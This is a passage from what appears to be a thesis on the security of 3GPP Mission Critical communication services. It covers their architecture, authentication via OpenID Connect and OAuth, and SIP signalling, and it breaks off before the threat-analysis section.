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Abstract

Public Protection and Disaster Relief situations have always been a hard challenge to face
in terms of communication. In such situations, real-time interactions among first respon-
ders and various agencies can make the difference between life and death. Unfortunately,
standard communication networks don’t cut it in crises because natural disasters, severe
storms, power outages, and cyberattacks can disrupt them. So, what’s the solution?
Robust, resilient networks that facilitate Mission Critical communications, which refers to
the need to provide first responders with fast, reliable, secure communication at all times.
The proposed work focuses on security aspects of Mission Critical applications by identi-
fying potential vulnerabilities that could represent a serious risk for the organization and
its users. The objective is to provide a series of scenarios, fully related to components and
procedures compliant with the Third Generation Partnership Project (3GPP) standards,
that can assist other vendors in identifying potential vulnerabilities or misconfigurations
in their products. The valuable aspect of this work lies in the fact that the Mission Crit-
ical domain, with its associated technologies, was not only learned from 3GPP Technical
Specification (TS) documents but also with the help of a real-world application, kindly
provided by Leonardo S.p.a.
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Chapter 1

Introduction

In a time where Public Protection and Disaster Recovery (PPDR) situations are very fre-
quent, public security forces need increasingly high-performance tools to intervene quickly
and efficiently. Since the 1930s, Mission Critical communications have relied mainly on
land mobile radio (LMR) systems, that consist of handheld radios (also known as “push-
to-talk”), vehicle radios, base station radios, networks and repeaters. However, in recent
years, several organizations in the telecommunication sector, have begun to invest in Mis-
sion Critical Services (MCS), in particular the 3rd Generation Partnership Project (3GPP),
which started working on them in 2015, where Long Term Evolution (LTE) was the main
technology. The advent of Fifth Generation (5G) networks in 2019, as shown in 1.1, with
its improvements in various aspects, such as low-latency, high availability, and reliability,
played a key role in the enhancement of MCS. MCx services can be seamlessly integrated
into standard public mobile 5G networks, or alternatively, organizations have the option
to establish privately owned infrastructures. The primary challenge faced by 3GPP dur-
ing the standardization process revolved around determining the priority levels for each
service. In earlier times, services like online gaming held a higher priority, but in current
releases, MCx services have gained greater precedence. Consequently, public networks now
ensure service availability, provided there is sufficient data throughput and coverage. The
goal is to make users stand to gain by utilizing a single, secure device for a wide range of

services, with virtually no geographical limitations, as long as network coverage exists.
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Figure 1.1: MCS Timeline

The following description presents some use cases where MC applications could be implied.

Public Safety - A police department receives a call about an active shooter targeting a
local university. As soon as this call arrives, they must organize a response team in
minutes, dispatch the selected officers and medical personnel, and get to the scene
as quickly as possible. Every minute that passes could mean another life is lost. In
such a situation, Mission Critical communications must be guaranteed to coordinate
the different teams and monitor the health conditions of each involved person. In
particular, voice calls may be carried out between members of the same squad and
between squad-leaders and the emergency coordination center, as they attempt to
apprehend the active shooter. In addition, video calls may be carried out to show
what first responders see during the operation, or by medical operators to show the
condition of any injured individuals and, if necessary, prepare the hospital for possible

operations on severely injured patients.
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State and Local Governments - Suppose a hurricane hits a city. It might easily knock
down cell towers, initiate a power outage, flood streets and cause immense physical
destruction. Without Mission Critical communications, the following issues may

arise:

e Agencies involved in rescue and recovery plans can’t share information with

each other.
e People injured during the hurricane call emergency forces but fail to get through.

e City managers struggle to connect with the appropriate transportation depart-

ments to clean up the roads.

Given a bit of context, one can imagine that a security hole in such systems could put at
risk an entire operation, where human lives may be involved. Therefore it’s essential to

assess such applications.

Motivation

As explained above Mission Critical Communications aims to provide first responders
with fast, reliable, secure communication at all times. But what does mean secure?

Many entities, not strictly related to audio/video communication, are involved in this type
of application. For instance, if there’s a vulnerability in Authentication procedures, that
allows an attacker to impersonate one of the legit users in the system, bad consequences are
very likely to happen. In addition, different kinds of technologies and protocols are present,
spanning from telephony-related ones (eg. SIP), to TCP bi-directional communications (eg.
Websockets), providing a good surface for an attacker. We focused only on entities that are
described in the 3GPP Technical Specification documents (standard compliant), in order

to make the work valuable for every Mission Critical application provider.
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Content of the Thesis

The thesis is composed of 7 more chapters, which are listed below with a brief description

of their content:

Chapter 2 - Background: Explains which services are standardized and supported by
MC applications and their main functionalities, the architecture of an MC application
over a bG system along with the division of its functional model between application
and signaling plane and the main entities that compose these two planes. Next, it
overviews the main procedures and flows that are carried out by a user who wants to
make use of services provided by the MC organization. The final part of this chapter
describes some technologies that are crucial for a Mission Critical application and

highly implied in the proposed work.

Chapter 3 - State of the Art: Lists various resources that explore work that has al-
ready been done on security aspects of the MC domain and other works that are
focused on specific technologies or protocols implicated in MC communication sys-

tems.

Chapter 4 - Testbed: Gives an overview of the testbed’s network architecture, the iden-
tified subnets, and the characteristics of each of these subnets. Additionally, there is
a description of both tools that were used to deploy the testbed infrastructure and

the ones used to perform tests on it.

Chapter 5 - Scenarios: Starts with some considerations on the level of accessibility of
the subnets mentioned in Chapter 4, what reasons brought us to focus the work on
a single subnet, the Public Network, and a brief description of the entities, located
within such a network, that were chosen to be analyzed. Next, there is a description of
the identified scenarios, together with their mapping within the domain of the chosen
threat modeling framework. The final part of the chapter presents some directives
that can be used to test the identified scenarios or verify the preconditions for their

reproducibility.
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Chapter 6 - Experimental Evaluation: Showcases one of the proposed scenarios on a

real, enterprise Mission Critical system, provided by the Leonardo company.

Chapter 7 - Discussion: Describes in a more conversational way the contributions brought
by this work, already outlined in the Contributions section of this chapter. Addi-
tionally, there is a description of the proposed updates to the 3GPP standard together

with the motivations that led us to this outcome.

Chapter 8 - Conclusion: Reports final considerations and potential future works that

can be done on the Mission Critical domain.

Contributions

The main contributions of this work are listed below.

1. The 3GPP standard for Mission Critical communication systems is extensive and
highly detailed. A critical and in-depth study has highlighted the key security aspects

and priorities to be addressed in the analysis of these systems.

2. A proposal of a fully functional testbed that can be used to assess standard MC ap-
plications, comprehensive of software/hardware technologies to deploy a Non-Public
Stand-Alone 5G Network (i.e., RAN + Core), and useful tools to conduct security

tests.

3. The development of threat scenarios based on both the studies of 3GPP technical
documents and practical exploration of a real-world enterprise mission-critical (MC)

system using the proposed testbed.

4. A major outcome of the above activity was the identification of potential weaknesses
in the 3GPP standard specifications. As a result, we proposed updates to the 3GPP
organization through their Coordinated Vulnerability Disclosure program to enhance

Technical Specification Document 33.180 - Security of the Mission Critical service.
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Chapter 2

Background

This chapter provides a brief description of Mission-Critical services (MCS), the nec-
essary background to understand the common functional architecture, procedures, and

information flows, needed to support such services.

2.1 Mission Critical Services

As illustrated in 1.1, MCPTT was the first MC service to be standardized in 3GPP Release
13 (2016). Subsequent enhancements have been made over time, resulting in the current
Mission Critical domain comprising three services: MCPTT, MCVideo, and MCData.

Below is presented an overview of these categories of Mission Critical services.

2.1.1 Mission Critical Push-To-Talk (MCPTT)

MCPTT refers to a method by which first responders use a Smartphone as a walkie-talkie.
Push-to-talk as the name states, allows two or more users to communicate with each other
by pressing a button on their smartphones. Indeed, the MCPTT Service supports both
private calls between pairs of users and group communication between several users in the
same group. MCPTT allows users to request permission to talk and provides a mechanism
to handle requests that are in contention (namely Floor Control). Additionally, it supports
Alert or Emergency conditions that guarantee a higher priority to users in dangerous

situations.
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2.1.2 Mission Critical Video (MCVideo)

The MCVideo service, supports video media communication between several users (i.e.
group call), where each user can gain access to the permission to stream video in an
arbitrated manner, and private calls between two users. The MCVideo service includes

the following features, described in 3rd Generation Partnership Project (3GPP) [7]:
e Video capture and encoding of the video information;
e Secure streaming and storing of the video information;
e Video decoding and rendering of the video information;

e Processing of the video information, including the ability to annotate video frames

and recognize video features;

e Mission Critical and public safety level functionality (e.g. group sessions, affiliations,
end-to-end confidentiality, emergency type communications) and performance (e.g.

low latency);
e Transmission and control of the parameters relevant to those functions;

e Secure operation such that video information can be reasonably un-impeachable when

used in evidentiary procedures;
e Definition and configuration of MCVideo groups and applications;
e Configuration of the MCVideo users’ profiles and of the MCVideo UEs; and

e Interoperability with other services and systems.

21



2.1.3 Mission Critical Data (MCData)

MCData, as explained in 3rd Generation Partnership Project (3GPP) [8], defines a ser-
vice for Mission Critical Data services. As well as voice services, current mission critical
users have been increasing their use of data services, including low throughput services on
legacy networks and data services on commercial networks. The MCData service needs
to provide a means to manage all data connections of mission critical users in the field
and provide relevant resources to the ones who need them. The MCData Service provides
a set of communication services that will be directly used by the user or functions that
will be called by external applications in control rooms. The MCData Service will reuse
functions including end-to-end encryption, key management, authentication of the sender,
etc, to provide group communications for data services. In addition, the MCData Service
will provide a set of generic capabilities such as: messaging, file distribution, data

streaming, IP proxy, etc.

2.2 System Description

The Mission Critical (MC) architecture’s functional model is defined as a series of planes
that operate independently, providing services to the connected planes and requesting

services from other planes as required. Currently, there are two types of functional models:

On-Network - MC services are accessed by gaining connectivity from an access network
(5G or LTE).

Off-Network - MC services are accessed via other methods such as D2D Proximity Based

Services (ProSe).

The two models ensure that first responders can communicate even in extreme situations
where connectivity from mobile networks is unavailable, such as in the event of a natural
disaster or operations in rural environments. In these cases, solutions such as Integrated
Access Backhaul nodes would be implied to improve network coverage extension. An

example scenario with these conditions is illustrated in Plazzotta [4] - Figure 3.4.
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In this work, we focused exclusively on the On-Network functional model, composed of

two planes described below.

Application plane - The application plane provides all of the requisite services (e.g., call
control, floor control, video control, data control, conferencing of media, provision of
tones and announcements) required by the user, in addition to the necessary functions
to support MC service. It uses the services of the signaling control plane to support

those requirements.

Signaling Control plane - The signaling control plane provides the requisite signaling
support for the establishment of user associations engaged in MC services, such as
MCPTT calls or other forms of MC services. In addition, the signaling control plane
provides access to and control of services across MC services. The signaling control

plane utilizes the services of session connectivity.

2.2.1 Application Plane

Although the functional model across MC services may appear similar, each service has an
individual application plane comprising its own set of functional entities, which are specific
to that service. However, there’s a set of functions and reference points that are common
across all MC services and is referred to as the Common Services Core (CSC).

The diagram in Figure 2.1, described in the On-network functional model section of ETSI

[13], illustrates the main CSC functions and Reference Points of the Application plane.
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Figure 2.1: Common functional model for Application Plane

As can be observed in 2.1, entities of the Common Services Core are associated with their
corresponding client-side counterparts within the MCX service UE. The following sub-

sections describe the Application Plane’s functional entities together with their reference
point (RP).
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2.2.1.1 IDMS & IDMC - RP CSC-1

The CSC-1 reference point, which exists between the Identity Management Client
(IDMC), located in the UE, and the Identity Management Server (IDMS) located
in the CSC, provides the interface for user authentication and authorization within the
Mission-Critical organization. One MC service user authenticates with the IDMS using
its Mission Critical ID. The HTTP connection between the IDMC and the IDMS must be
protected using HTTPS and must support OpenlD Connect 1.0. A detailed explanation of
the authentication procedure and the OpenlID Connect technology is provided in 2.3.2.1.

2.2.1.2 GMS & GMC - RP CSC-2

The CSC-2 reference point links the Group Management Client (GMC), located in
the UE, with the Group Management Server (GMS), located in the CSC. The GMC
functional entity acts as the application user agent for the management of groups. The
GMS facilitates the management of groups that are supported within the MC service
provider, oversees the management of media policy information that is utilized by the UE
for media processing, and oversees the management of group call policy information that

is utilized by the UE for group call control.

2.2.1.3 CMS & CMC - RP CSC-4

The Configuration Management Client (CMC) acts as the application user agent for
configuration-related transactions. It interacts with the Configuration Management
Server (CMS) and provides and receives configuration data. They communicate via the
CSC-4 RP that supports configuration of the UE by the MC service, and configuration
of the MC service application with the MC service-related information that is not part of

group management by the MC Service UE.
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2.2.1.4 KMS & KMC - RP CSC-8

Communication between the Key Management Client (KMC) and Key Manage-
ment Server (KMS) occurs via the CSC-8 reference point. The KMS stores and pro-
vides security-related information to KMC and GMS over the CSC-10 RP. The primary
purpose of these procedures is to ensure end-to-end secure communications for any end-
point, providing each of them with key material associated with its identity. Such keys
are used to create a security context that protects media traffic in both private and group

communications.

2.2.1.5 MC service client/server

The MC service client and server are crucial for all MC service transactions. Each service,
namely MCPTT, MCVideo, and MCData has its own instantiation of this type of client
and server, with specific functionalities. For instance, transactions between the MCPTT
client and the MCPTT server occur via the MCPTT-1 Reference Point. For each MC
service, the server must represent a specific instantiation of a Group Communication Ser-
vice Application Server (GCS AS) to control multicast and unicast operations for group

communications.

The remaining functional entities and reference points of this plane are specific to com-
munication with a different MC system, in a different security domain, and thus are not

described in this chapter.

2.2.2 Signaling Control Plane

The Signaling Control Plane, as the Application Plane, is composed of entities con-
nected via RP. Some of the RPs of the Signaling Plane are used by RPs belonging to the
Application Plane for transport and routing of both subscription/notification and non-
subscription/notification-related signaling. This plane doesn’t include a CSC structure as

the previous one, but involves two different types of entities:
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SIP entities - Making use of SIP-x Reference Points. Involved in all transactions that

use the SIP protocol.

HTTP entities - Making use of the HIT'TP-x Reference Points. Involved in all transac-
tions that use the HTTP protocol.

The diagram in Figure 2.2, described in the On-network functional model section of ETSI

[13], illustrates the main functional entities and Reference Points of the Signalling Control

plane.
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Figure 2.2: Functional model for signaling control plane
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Before describing the functional entities and their reference points, is important to define

the SIPCore which is the main component of the entire control plane.

2.2.2.1 SIPCore

The SIPCore is composed of different sub-entities that are responsible for registration,

routing, and service selection.

It’s relevant to outline that the SIPcore shall be either:

e compliant with 3GPP TS 23.228, i.e. the SIP core is a 3GPP IP multimedia core

network subsystem; or

e a SIP core, which internally need not comply with the architecture of 3GPP TS
23.228, but with the reference points that are defined in subclause 7.5.3 (if exposed),
compliant to the reference points defined in 3GPP TS 23.002.

In the provided description, we assume that the SIPCore is a 3GPP IP multimedia core
network subsystem. As mentioned before, the SIPCore is composed of sub-entities, these

are called Session Control Functions (SCF) and have different functionalities.

P-CSCF - Proxy-Call Session Control Function is the first point of contact for a User
Equipment (UE) that needs to talk to the SIPCore. As its name implies, it
behaves like a proxy, for instance, accepts requests and handles them internally or

forwards them. These are some of the functionalities that the P-CSCF provides:
e Forwards SIP messages received from the UE to the SIP server (e.g. S-CSCF)
whose name the P-CSCF has received as a result of the registration procedure.

e Ensures that the SIP messages received from the UE to the SIP server (e.g. S-
CSCF) contain the correct or up-to-date information about the access network
type currently used by the UE when the information is available from the access

network.

e Forwards the SIP request or response to the UE
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e Detects and handles an emergency session establishment request

e Maintains a Security Association between itself and each UE

Additionally, the P-CSCF can have the role of an Application Function, capable
of interacting with the Policy and Charging Architecture located in 5G Core

Network, over the N5 interface, using the Npcf_Policy Autorization service.

I-CSCF - Interrogating-CSCF is the contact point within an operator’s network for all
connections destinated to a user of that network operator, or a roaming user currently
located within that network operator’s service area. Its main functions are to assign
an 3-CSCF to a user performing SIP registration and to route SIP requests received

from another network towards the S-CSCF.

S-CSCF - Serving-Call Session Control Function performs the session control services for
the UE. Subscribers are assigned an S-CSCF for the duration of their IMS registra-
tion to facilitate the routing of SIP messages as part of service establishment proce-
dures. It maintains a session state as needed by the network operator for support
of the services. Handles SIP transactions in different situations such as Registration
procedures, session-related and session-unrelated flows, requests for an originating
endpoint (UE or Application Server), and requests for a destination endpoint (ter-

minating user/UE).

The following subsections describe the Signaling Plane’s functional entities and their

reference points (RP).

2.2.2.2 Signaling User Agent & SIPCore - SIP-1 RP

The SIP-1 RP connects the signaling user agent in the User Equipment and the SIPCore.
This RP is used for SIP Registration, Authentication and security to the service layer,
Event subscription and notification, Overload control, Session management, and Media

negotiation.
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2.2.2.3 SIP core & the SIP AS - SIP-2 RP

The SIP-2 RP exists between the SIPCore and the SIP Application Server (AS). The SIP
AS supports influencing and impacting the SIP and supports event subscription and notifi-

cation on behalf of the MC service server. This RP is used for the following functionalities:
e notification to the MC service server(s) of SIP registration by the MC service UE
e authentication and security to the service layer
e session management

e media negotiation

2.2.2.4 SIP database & the SIP core - AAA-1 RP

The AAA-1 RP connects the SIPCore and the SIP Database. The SIP database con-
tains information concerning the SIP subscriptions and corresponding identity and au-
thentication information required by the SIP core. It’s responsible for storing user-related
information such as Numbering and addressing, SIP core access control information for au-
thentication and authorization, MC service UE Location information, and signaling plane
subscription profiles. Additionally, it provides support for control functions of the SIP
core such as the I-CSCF and S-CSCF, needed to enable subscriber usage of the SIP core
services. Depending on the deployment scenario, the SIP database can be provided by

either the PLMN operator or the MC service provider.

2.2.2.5 HTTP Client & HTTP Proxy - HTTP-1 RP

The HTTP-1 RP exists between the HT'TP client in the UE and the HTTP Proxy at
the edge of the Mission-Critical domain. The HT'TP Proxy acts as a proxy for hypertext
transactions between the HT'TP client and one or more HT'TP servers. The HTTP proxy
must be situated within the same trust domain as the HTTP clients and HTTP servers
that are located within an MC service provider’s network. The HTTP-1 RP is employed
by the UE to request the download of user and group configuration documents, provided

by entities of the CSC (CMS, GMS, KMS, etc.).
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2.2.2.6 HTTP Proxy & HTTP Server - HTTP-2 RP

The HTTP-2 RP is utilized to establish a connection between the HT'TP Proxy and the
HTTP Server. It’s used as a relay point by the HT'TP proxy for requests initiated by the
HTTP Client within the UE and directed towards the Common Services Core (CSC) and

MC service servers.

As for the Application plane, other entities and RPs that are not useful for this work, are

not described.

2.3 Procedures & Flows

This section provides descriptions and examples of procedures and flows useful to under-
stand the role of some components described in 2.2 and scenarios described in 5. Figure 2.3
from ETSI [15], represents the lifecycle of an MC service UE that makes use of an MC
service (MCPTT, MCVideo or MCData).
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<——— Initial UE configuration

r

MCservice user
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and

MC service
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UE configuration

4—————— MC service user profile configuration

h 4 < ] Group configuration
MC service
Ra)
£ AT i — UE configuration, MC service user profile
Call establishment, configuration, group configuration

Ongoing call, g , §roup g

Call release)

-«
4
MC service
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Figure 2.3: UE general lifecycle using an MC service

31



2.3.1 Bootstrap Procedure

Bootstrap procedures are used to provide the MC service UE with initial UE con-
figuration. Specifically, it provides critical information, needed to connect with the MC
System, to client components that reside in the UE, such as MC service client, Configu-
ration management Client, Group Management Client, Identity Management Client, etc..
(described in 2.2.1). The data contained in the UE initial configuration can be stored
either in the Mobile Equipment or in the USIM. If both locations are utilized for storage,
the values stored in the USIM will have precedence. A few examples of information that

can be found inside this configuration document are

GMSURI - group management service URI information which contains the public service

identity for performing the subscription proxy function of the GMS.
CMSXCAPRootURI - configuration management server XCAP Root URI information.
GMSXCAPRootURI - group management server XCAP Root URI information.

PLMN - HPLMN code that identifies the Public Network.

IDMSAuthEndpoint - identity management server authorization endpoint identity in-

formation.

A full list of the entries contained in the UE initial configuration document along with

their description is defined in ETSI [14].

2.3.2 Authentication & Authorization Procedure

User authentication and authorization, as outlined in Section 5 of ETSI [9], are composed

of the steps illustrated in 2.4
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Figure 2.4: MCX authentication & authorization

Firstly, the MCX User Equipment must perform authentication with respect to the 5G
system. This step is mandatory for all UEs who wish to utilize services accessible through
session connectivity. As it is not directly relevant to the Mission Critical domain, it is
not addressed in this work. The MCX UE then performs the following steps to complete
authentication of the user, authorization of the user, MCX service registration, and identity

binding between signaling layer identities and the MC service ID(s).

Step A - MCX user authentication with Identity Management Server (IdMS).
Step B-1 - SIP Registration and Authentication with SIP Core (SC).

Step C - MCX Service Authorization with MCX Domain.

If an MCX UE completes SIP registration in Step B before performing MCX user authen-
tication in Step A and MCX user service authorization as part of Step C, the MCX UE
shall be able to enter a ’limited service’ state. In this limited state, where the MCX user
is not yet authorized with the MCX service, the MCX UE shall be able to use limited
MCX services (e.g. an anonymous MCX emergency communication). The MCX Server is

informed of the registration of the MC UE with the SIP core through Step B-2.
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2.3.2.1 MCX User Authentication

MCX User Authentication refers to Step A in Figure 2.4 and consists of the IDMS, located
in the MCX Common Services Core (CSC), and the IDMC, located in the MCX UE. The
IDMC, after having obtained the IDMSAuthEndpoint through the Bootstrap Procedure,
can communicate with the IDMS via the CSC-1 RP, which is a direct HTTP interface
that provides user authentication and shall support OpenID Connect 1.0. As explained
in TS 33.180 ETSI [9], to support MCX user authentication, the IDMS shall be provisioned
with the user’s MC ID and MC service IDs (the MC service ID may be the same as the MC
ID). A mapping between the MC ID and MC service ID(s) shall be created and maintained
in the IDMS. When an MCX user wishes to authenticate with the MCX system, the MC
ID and credentials are provided via the UE IDMC to the IDMS. The IDMS receives and
verifies the MC ID and credentials, and if valid returns an ID token, refresh token, and
access token, specific for that client. A detailed explanation of the process using OIDC
is explained in 2.4.5. The HTTP connection between the Identity Management client and
the Identity Management server must be protected using HT'TPS, so eavesdropping traffic

won’t give any effective information about a user.

2.3.2.2 MCX User Service Authorization

MCX User Service Authorization refers to Step C in Figure 2.4 and is the function that
validates whether or not an MCX user has the authority to access certain MCX services.
In order to gain access to MCX services, the MCX client in the UE presents an access
token, obtained during MCX User Authentication. The services that can be accessed with
such access token are listed in 2.4.3.2. If the access token is valid, then the user is granted
the use of that service. For MCPTT, MCVideo, and MCData user service authorization,
the appropriate client component in the UE presents an access token to the appropriate
server component, over SIP protocol. Each server must map and maintain the association
between the IMS Public User Identity (IMPU) and the MCX ID. The SIP message
used to convey the access token from the MCX client to the MCX server may be either a

SIP REGISTER or a SIP PUBLISH message.
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Referring to 2.3, the UE has completed the step in the second block "MC Service User
Authentication and MC Service Authorization”. The UE can now download UE configura-
tion, MC service user profile configuration, and group configuration documents, necessary

to perform the various MC service operations.

2.3.3 MUC service operations

MC service operations include all functionalities that can be used by authenticated and
authorized users, that have received UE configuration, MC service user profile, and group

configuration parameters. Some of these functionalities are listed below

MC service group (de)affiliation - Group affiliation is the procedure by which a client
is allowed to communicate within one or more specific groups that can support one or
more MC services. For instance, there could be a group called "repo", that supports
the MCData service, used to store files. Only users that are affiliated with such a
group can upload or download files from the repository. The affiliation procedure can
be explicit, where an MC service client indicates interest in one or many MC service
groups to the MC service server, or implicit, where the MC service user’s affiliations
to MC service groups are determined through configurations and policies within the

MC service and performed by the associated MC service server.

MCPTT calls - Calls making use of the MCPTT service. These can be either private
or group calls, after successfully joining one or more groups supporting the MCPTT

service.

MCVideo calls - The same as for MCPTT but with the addition of a video stream on
top of the audio.

Some operations can be done only by users with a specific role. For instance, a Dispatcher

User can manage group affiliations for all users within the MC organization.
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2.4 OpenlD Connect (OIDC)

OpenID Connect extends the OAuth protocol to provide a dedicated identity and authen-
tication layer that sits on top of the basic OAuth implementation. It adds some simple

functionality that enables better support for the authentication use case of OAuth.

2.4.1 What is OAuth?

The OAuth 2.0 authorization framework is a protocol that allows a user to grant a third-
party website or application access to the user’s protected resources, without necessarily
revealing their long-term credentials or even their identity.

OAuth introduces an authorization layer and separates the role of the client from that of
the resource owner. In OAuth, the client requests access to resources controlled by the
resource owner and hosted by the resource server and is issued a different set of credentials
than those of the resource owner.

Instead of using the resource owner’s credentials to access protected resources, the client
obtains an Access Token, a string denoting a specific scope, lifetime, and other access
attributes. Access tokens are issued to third-party clients by an authorization server with
the approval of the resource owner. Then the client uses the access token to access the

protected resources hosted by the resource server.

2.4.2 OIDC vs OAuth

While OAuth 2.0 is about resource access and sharing, OIDC is about user authentication.
Its purpose is to give you one login for multiple sites. Each time you need to log in to a
website using OIDC, you are redirected to your OpenlD site where you log in, and then
taken back to the website. For example, if you chose to sign in to AuthO using your
Google account then you used OIDC. Once you successfully authenticate with Google and
authorize AuthO to access your information, Google sends information back to AuthO about
the user and the authentication performed. An example of login using OIDC is shown in

2.5.
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Figure 2.5: Login with OIDC options

2.4.3 How does OpenlID Connect work?

OpenlID Connect slots neatly into the normal OAuth flows. From the client application’s
perspective, the key difference is that there is an additional, standardized set of scopes

that are the same for all providers, and an extra response type: 'id_token’.

2.4.3.1 OpenID Connect Roles

The roles for OpenID Connect are essentially the same as for standard OAuth. The main

difference is that the specification uses slightly different terminology.

Relying party The application that is requesting authentication of a user. This is syn-
onymous with the OAuth client application.
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End user The user who is being authenticated. This is synonymous with the OAuth

resource owner.
OpenlD provider An OAuth service that is configured to support OpenlD Connect.

2.4.3.2 OpenID Connect claims and scopes

The term ”claims” refers to the key:value pairs that represent information about the user

2.9

on the resource server. One example of a claim could be "user_type”:” mobile_client”.

Scopes, instead are an indication by the client that it wants to access some resources,
the resource server may allow or reject the request. To make use of OIDC, the client
application must specify the openid scope in the authorization request. MCX applications

use a specific set of scopes, which are listed below.

e 3gpp:mc:ptt_service

e 3gpp:mc:video_service

e 3gpp:mc:data_service

e 3gpp:mc:ptt_key_management _service

e 3gpp:mc:video_key management_service

e 3gpp:mc:data_key_management_service

e 3gpp:mc:ptt_config_management_service
e 3gpp:mc:video_config_management _service
e 3gpp:mc:data_config_ management_service
e 3gpp:mc:ptt_group_management_service
e 3gpp:mc:video_group_management_service
e 3gpp:mc:data_group_management_service
e 3gpp:mc:location_management_service
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2.4.4 OAuth Grant Types

OAuth grant types, also called "flows”, define steps and procedures involved in the OAuth
process. Different grant types mean different ways in which the client application commu-
nicates with the OAuth service at each step. There are several different grant types but we
focused on authorization_code because as stated in the 3GPP Technical Specification Doc-
ument T'S 33.180 (Security of the Mission Critical (MC) service) - Annex B.4.2.1, "MCX
clients fitting the Native application profile utilize the authorization code grant type with

the IETF RFC 7636 [53] PKCE extension for enhanced security”

2.4.5 Authorization Code Grant Type

Before describing the authorization_code flow, it’s worth mentioning that all procedures
are tied to a specific type of MCX client. Indeed as explained in Annex B.4.1 of ETSI
[9], ”MCX Connect will support a number of different MCX client types, including native,
web-based, and browser-based. Only native clients are defined in this version of the
MCX Connect profile”. Native clients are devices such as mobile phones, that have
secret parameters directly embedded in the application’s source code, easily accessible
through decompilers or other reverse engineering tools. The set of native clients in the
OAuth2.0 specification, also includes single-page web applications, that in the Mission
Critical domain could be either a Dispatcher or Discrete Listener. Figure 2.6 illustrates
the authorization_code flow with username and password authentication using an MCX

Native client.
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Figure 2.6: OIDC flow with Username & password authentication

The first step corresponds to establishing a secure tunnel, which means that the com-
munication between the client and the IDMS must be protected using HTTPS, to avoid
cleartext traffic. The next step consists of the OIDC Authentication Request. The

parameters needed for such a step are described in Table 2.1
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Parameter Value Required Description
response_type ”code” Y Defines the flow type: au-
thorization code flow
client_id client_id *Must match | Y ID of the requesting client
the client_id assigned
by the IDMS after
the client registration
phase. See 2.4.6.
scope Values listed in 2.4.3.2 | Y list of space-delimited, case-
sensitive strings that indi-
cate which MCX resource
servers the client is request-
ing access to (e.g. MCPTT,
MCVideo, MCData, KMS,
etc.)
redirect_uri URL on which the |Y The URI of the client to
client receives call- which the IDMS will redi-
back *Must match the rect the authentication re-
redirect_uri registered sponse in order to receive
with the IDMS during the authorization code.
the client registration
phase. See 2.4.6.
state random value Y An opaque value used by
the client to maintain the
state between the authenti-
cation request and authen-
tication response. The IdM
server includes this value in
its authentication response.
code_challenge random string Y base64url-encoded SHA-256
challenge derived from the
code_verifier, verified in the
final request to obtain the
access_token.
code_challenge_method | S256 Y hash method used to trans-

form the code_verifier to
produce the code challenge.

Table 2.1: Authentication Request required parameters
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Subsequent steps 3a and 3b are specific for username and password authentication. The
IDMS sends an HTML form prompting the user for their username and password. The
user provides such data and in the case that these are correct, the flow proceeds to Step 4 -
OIDC authentication response. The authentication response consists of the IDMS that
issues an authorization code, which is delivered to the redirect_uri, specified in the
authorization request. This code is specific for this grant type and is one of the parameters
used to obtain access_token, id_token, refresh_token, etc. In addition to the authorization
code, the state parameter should also be included in the authentication response. Its
value should match the initial value specified in the authentication request otherwise the
client is under a Cross-site Request Forgery (CSRF) attack and the final request to the

token endpoint using that authorization code should be rejected.

After having obtained the authorization code, steps 5 and 6, respectively outlined as
OIDC Token Request and OIDC Token Response, occur. The parameters contained
in the OIDC Token Request are shown in Table 2.2
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Parameter Value Required Description
grant_type ”code” Y Defines the flow type: au-
thorization code flow
client_id *Shall match | client_id Y ID of the requesting client
the value specified in
the authorization re-
quest
code authorization_code Y authorization code previ-
ously received from the IdM
server as a result of the
authentication request and
subsequent successful au-
thentication of the MCX
user.
redirect_uri URL on which the |Y The URI of the client to
client receives callback which the IDMS will redi-
*Must match the redi- rect the authentication re-
rect URI specified in sponse to receive the autho-
the authentication re- rization code.
quest.
code_verifier random value Y cryptographically random

string that is used to cor-
relate the authentication
request to the token re-
quest.

Table 2.2: Access Token request parameters

In the case that all parameters provided in the Token request are valid, the Token response

returns the values described in Table 2.3.
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Parameter Value Required Description

access_token access_token Y Token inserted in all re-
quests to the resource server
via Authorization: Bearer
header.

token_type Bearer Y Type of token.

expires_in value in seconds Y Indicates the lifetime of the
access_token.

id_token id_token N Token that contains infor-
mation about a user.

refresh_token refresh_token N Token used to obtain a new

access_token when expired.

Table 2.3: Access Token Response parameters

The obtained access_token is then presented in every request that, once validated, grants

access to services provided by CMS, GMS, KMS, etc.

2.4.6 Client Registration

In order to use the authentication and authorization features, at least one client application
must be registered with the authorization server (IDMS). The MCX system administrator
provides specific parameters such as application type (web, mobile, etc.), redirect uris,
response type, grant type, etc. that will characterize the newly registered client application.
The resulting registration responses return a client identifier (client_id) to be used at the
authorization server and the client metadata values registered for the client. The client
can then use this registration information to communicate with the authorization server
using the OAuth 2.0 protocol. Clients can be pre-provisioned or dynamically registered
by making a request to the registration endpoint as described in the Dynamic Client

Registration document provided by the Open ID Foundation [19].
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2.5 Session Initiation Protocol (SIP)

The Session Initiation Protocol (SIP), was standardized by Internet Engineering Task
Force (IETF) in 1999 (RFC2543). Later was accepted by 3GPP as a signaling proto-
col and became a crucial element for IP Multimedia Subsystem (IMS) architecture.
An updated version was released in 2002 under RFC3261, which introduced new exten-
sions, headers, and security solutions. As explained by IETF in Rosenberg [1], SIP is
an application-layer control (signaling) protocol for creating, modifying, and terminating
sessions with one or more participants. These sessions include Internet telephone calls,

multimedia distribution, and multimedia conferences.

2.5.1 SIP Methods

The Session Initiation Protocol relies on methods that perform different tasks and allow
the establishment of a session (call) between one or more users. The SIP protocol supports

the following methods:

REGISTER - Used by a user agent to register itself with a SIP registrar server. The
REGISTER method is used in the MCX SIP Registration step, illustrated in Fig-
ure 2.4, and helps in maintaining an up-to-date mapping between a user’s SIP URI

and their current IP address, enabling call routing and delivery.

OPTIONS - Used to query the capabilities of a SIP server or user agent. This method
can be sent to request information about supported methods, media types, or other

extensions without actually establishing a session.

INVITE - Used to initiate a new session (call) or modify an existing one. The INVITE
method carries the session description (typically using SDP) to inform the recipient
about the details of the proposed session, such as media types, codecs, and transport
protocols. In the context of Mission Critical communications, also XML messages
can be carried in INVITE requests, that contain information such as the session type,

the group uri in the event of a group call, and the client id.
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CANCEL - Sent to cancel a pending INVITE request before the session is established.
The CANCEL method allows the sender to abort an INVITE transaction if they

change their mind or if there is no response from the recipient.

ACK - Sent to confirm the receipt of a final response to an INVITE request. The ACK
method ensures the reliability of INVITE transactions by providing end-to-end ac-

knowledgment.

BYE - Used to terminate an established session (call). The BYE method is sent by either

party in the session to indicate that they wish to end the communication.

2.6 What is a threat analysis?

